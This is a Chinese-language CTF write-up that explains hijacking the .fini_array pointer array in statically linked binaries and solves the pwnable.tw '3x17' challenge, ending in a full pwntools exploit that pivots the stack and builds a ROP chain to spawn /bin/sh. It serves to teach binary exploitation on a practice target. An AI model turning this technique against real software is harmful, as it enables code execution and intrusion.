只有静态编译才会用到的神必数组fini_array
…
0x00.fini_array浅析
重新将目光转回exit()
函数,这一次我们需要关注的是这一块:
前面有我们已经讲到过,main函数返回之后便会执行__libc_csu_fini()
函数,我们将一个程序编译后再反汇编便可以发现:
- 动态编译时该函数为空函数
- 静态编译下该函数会逐一取出一个数组中的函数指针执行,该函数指针数组位于bss段上
那么我们不难想到:若是能够控制该数组中的函数指针,便能够在程序exit()后控制程序执行流
0x01.实战:pwnable.tw - 3x17
惯例的checksec
,只开了NX
拖入IDA进行分析,静态编译 + 符号表扣光(悲
不过通过_start()
函数的结构我们还是能够获取如下信息:
那么这个函数应当为main函数
其功能为往指定地址写最大0x18字节的数据,但是只能写一次
由于程序是静态编译的,故考虑劫持fini_array
数组控制程序执行流以get shell
一开始只能读一次,那么考虑劫持fini_array[1]
为main、fini_array[0]
为__libc_csu_fini()
以反复读入
我们同时还需要考虑进行栈迁移,观察libc_csu_fini
的反汇编代码,我们可以发现rbp的值便是fini_array
,故我们可以将栈劫持到fini_array
附近,在这里构造我们的rop链
在fini_array上布置如下rop链以进行栈迁移:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| ------------------------ | | rbp-> | leave; ret | <- fini_array[0] | | ------------------------ | | | ret | <- fini_array[1] // need to be useless | | ------------------------ | | | (real rop start) | <- fini_array[2] | | ------------------------ | | | ... | <- fini_array[3] | |
|
最终构造exp如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34
| from pwn import * context.arch = 'amd64'
p = remote('chall.pwnable.tw', 10105) e = ELF('./3x17')
main = 0x401B6D csu_fini = 0x402960 fini_array = 0x4B40F0 pop_rax_ret = e.search(asm('pop rax ; ret')).__next__() pop_rdi_ret = e.search(asm('pop rdi ; ret')).__next__() pop_rsi_ret = e.search(asm('pop rsi ; ret')).__next__() pop_rdx_ret = e.search(asm('pop rdx ; ret')).__next__() syscall = e.search(asm('syscall')).__next__() leave_ret = e.search(asm('leave ; ret')).__next__() ret = e.search(asm('ret')).__next__()
def write(addr:int, data): p.recvuntil(b"addr:") p.sendline(str(addr)) p.recvuntil(b"data:") p.send(data) write(fini_array, p64(csu_fini) + p64(main)) write(fini_array + 0x10, p64(pop_rax_ret) + p64(59)) write(fini_array + 0x20, p64(pop_rdi_ret) + p64(fini_array + 0x60)) write(fini_array + 0x30, p64(pop_rsi_ret) + p64(0)) write(fini_array + 0x40, p64(pop_rdx_ret) + p64(0)) write(fini_array + 0x50, p64(syscall)) write(fini_array + 0x60, b"/bin/sh\x00")
write(fini_array, p64(leave_ret) + p64(ret))
p.interactive()
|
运行即可get shell